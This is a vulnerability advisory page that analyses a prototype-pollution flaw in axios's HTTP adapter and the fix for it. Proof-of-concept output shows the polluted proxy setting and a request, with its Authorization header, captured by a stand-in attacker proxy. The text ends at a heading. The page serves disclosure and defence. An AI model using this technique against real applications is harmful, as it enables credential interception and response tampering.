CVE-2026-44494: axios Proto Pollute Proxy MITM | Miggo
Basic Information
Basic Information
Vulnerability Intelligence
Miggo AI
Root Cause Analysis
The vulnerability exists in the httpAdapter function in lib/adapters/http.js. The function directly accessed properties from the config object, such as config.proxy, without verifying if they were own properties. This oversight made the code susceptible to prototype pollution. An attacker could pollute the Object.prototype with a malicious proxy object, and since the proxy property is not a default in axios's configuration, the polluted value would be used. This would redirect all HTTP requests through the attacker's proxy, enabling a full man-in-the-middle attack. The fix, implemented in commit 74a05bc336718a3c203f4e1da44b4c7c225510c1, involves creating a helper function own that uses Object.prototype.hasOwnProperty.call to check for own properties before accessing them. This ensures that the code does not traverse the prototype chain, effectively preventing the prototype pollution attack.
Vulnerable functions
httpAdapter
lib/adapters/http.js
The `httpAdapter` function was vulnerable to prototype pollution because it accessed properties of the `config` object without checking if they were own properties. This allowed an attacker to pollute the `Object.prototype` and inject a malicious `proxy` configuration, leading to a man-in-the-middle attack. The patch introduces a helper function `own` that uses `Object.prototype.hasOwnProperty.call` to ensure that only own properties of the `config` object are accessed, thus mitigating the vulnerability.
The critical difference from transformResponse: the proxy property is not in defaults (lib/defaults/index.js does not set proxy). This means:
mergeConfig iterates Object.keys({...defaults, ...userConfig}) — proxy is NOT in this set
defaultToConfig2 for proxy is never called
The merged config has no own proxy property
When http.js:670 reads config.proxy, JavaScript traverses the prototype chain
Object.prototype.proxy is found → used by setProxy()
This is a more direct attack path than transformResponse because it doesn't even go through mergeConfig's merge logic — it completely bypasses it.
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically use the polluted proxy value when making HTTP requests. The developer's code is completely safe — no configuration errors needed.
Proof of Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets:
[1] Normal request (before pollution):
Response source: real server
response.data: {"data":"from-real-server"}
Proxy intercept count: 0
[2] Prototype Pollution: Object.prototype.proxy
Set: Object.prototype.proxy = { host: "127.0.0.1", port: 50879 }
[3] Request after pollution (same code, same URL):
Response source: ATTACKER PROXY!
response.data: {"data":"from-attacker-proxy","hijacked":true}
[4] Data intercepted by attacker's proxy:
Full URL: http://127.0.0.1:50878/api/secrets
Host: 127.0.0.1:50878
Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh
All headers: {
"accept": "application/json, text/plain, */*",
"user-agent": "axios/1.15.0",
"accept-encoding": "gzip, compress, deflate, br",
"host": "127.0.0.1:50878",
"authorization": "Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh",
"connection": "keep-alive"
}
[5] Attacker capabilities demonstrated:
✓ Full URL visible (including internal hostnames)
✓ Authorization header visible (Base64-encoded credentials)
✓ Can modify/forge response data
✓ Affects ALL axios HTTP requests (not just a single instance)
✓ No assertOptions constraints (unlike transformResponse gadget)
Impact Analysis
Full Credential Interception: Every HTTP request's Authorization header, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext.
Arbitrary Response Tampering: The attacker can return any response data — no constraints like transformResponse's "must return true".
Internal Network Reconnaissance: The proxy sees all request URLs, revealing internal hostnames, ports, and API paths.
Universal Scope: Affects every axios HTTP request in the application, including all third-party libraries that use axios.
Invisible Attack: The developer has no indication that a proxy has been injected — requests complete normally with attacker-controlled responses.
Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector.
Why This Is More Severe Than transformResponse (axios_26)